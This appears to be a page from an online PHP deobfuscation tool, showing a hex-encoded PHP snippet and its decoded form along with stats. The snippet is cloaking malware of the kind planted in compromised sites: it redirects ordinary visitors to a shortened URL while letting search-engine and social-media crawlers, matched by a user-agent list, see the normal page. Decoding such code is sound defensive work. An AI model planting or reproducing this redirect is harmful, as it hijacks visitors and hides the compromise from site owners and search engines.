Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php } elseif (!motherHoodNature()) { header("\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\..

Decoded Output download

<?php 
} elseif (!motherHoodNature()) { 
    header("HTTP/1.1 301 Moved Permanently"); 
    header("Location: https://t.ly/tha555"); 
    die; 
} 
goto f_FTJ; 
 
f_FTJ: 
function motherHoodNature() { 
    if (preg_match("/AhrefsBot|baiduspider|baidu|bingbot|bing|DuckDuckBot|facebookexternalhit|facebook|facebot|googlebot|\-google|google\-inspectiontool|Uptime\-Kuma|linkedin|Linkidator|linkwalker|mediapartners|mod_pagespeed|naverbot|pinterest|SemrushBot|twitterbot|twitter|xing|yahoo|YandexBot|YandexMobileBot|yandex|Zeus/i", $_SERVER["HTTP_USER_AGENT"])) { 
        return true; 
    } 
    return false; 
} 
goto uFBHk; 
 
uFBHk: 
?>

Did this file decode correctly?

Original Code

<?php
} elseif (!motherHoodNature()) {
    header("\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x33\x30\x31\x20\x4d\x6f\x76\x65\x64\x20\x50\x65\x72\x6d\x61\x6e\x65\x6e\x74\x6c\x79");
    header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2e\x6c\x79\x2f\x74\x68\x61\x35\x35\x35");
    die;
}
goto f_FTJ;

f_FTJ:
function motherHoodNature() {
    if (preg_match("\x2f\x41\x68\x72\x65\x66\x73\x42\x6f\x74\x7c\x62\x61\x69\x64\x75\x73\x70\x69\x64\x65\x72\x7c\x62\x61\x69\x64\x75\x7c\x62\x69\x6e\x67\x62\x6f\x74\x7c\x62\x69\x6e\x67\x7c\x44\x75\x63\x6b\x44\x75\x63\x6b\x42\x6f\x74\x7c\x66\x61\x63\x65\x62\x6f\x6f\x6b\x65\x78\x74\x65\x72\x6e\x61\x6c\x68\x69\x74\x7c\x66\x61\x63\x65\x62\x6f\x6f\x6b\x7c\x66\x61\x63\x65\x62\x6f\x74\x7c\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74\x7c\x5c\x2d\x67\x6f\x6f\x67\x6c\x65\x7c\x67\x6f\x6f\x67\x6c\x65\x5c\x2d\x69\x6e\x73\x70\x65\x63\x74\x69\x6f\x6e\x74\x6f\x6f\x6c\x7c\x55\x70\x74\x69\x6d\x65\x5c\x2d\x4b\x75\x6d\x61\x7c\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x7c\x4c\x69\x6e\x6b\x69\x64\x61\x74\x6f\x72\x7c\x6c\x69\x6e\x6b\x77\x61\x6c\x6b\x65\x72\x7c\x6d\x65\x64\x69\x61\x70\x61\x72\x74\x6e\x65\x72\x73\x7c\x6d\x6f\x64\x5f\x70\x61\x67\x65\x73\x70\x65\x65\x64\x7c\x6e\x61\x76\x65\x72\x62\x6f\x74\x7c\x70\x69\x6e\x74\x65\x72\x65\x73\x74\x7c\x53\x65\x6d\x72\x75\x73\x68\x42\x6f\x74\x7c\x74\x77\x69\x74\x74\x65\x72\x62\x6f\x74\x7c\x74\x77\x69\x74\x74\x65\x72\x7c\x78\x69\x6e\x67\x7c\x79\x61\x68\x6f\x6f\x7c\x59\x61\x6e\x64\x65\x78\x42\x6f\x74\x7c\x59\x61\x6e\x64\x65\x78\x4d\x6f\x62\x69\x6c\x65\x42\x6f\x74\x7c\x79\x61\x6e\x64\x65\x78\x7c\x5a\x65\x75\x73\x2f\x69", $_SERVER["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])) {
        return true;
    }
    return false;
}
goto uFBHk;

uFBHk:
?>

Function Calls

None

Variables

None

Stats

MD5 62f1e17a60cf71bfb595e4614fdc7998
Eval Count 0
Decode Time 49 ms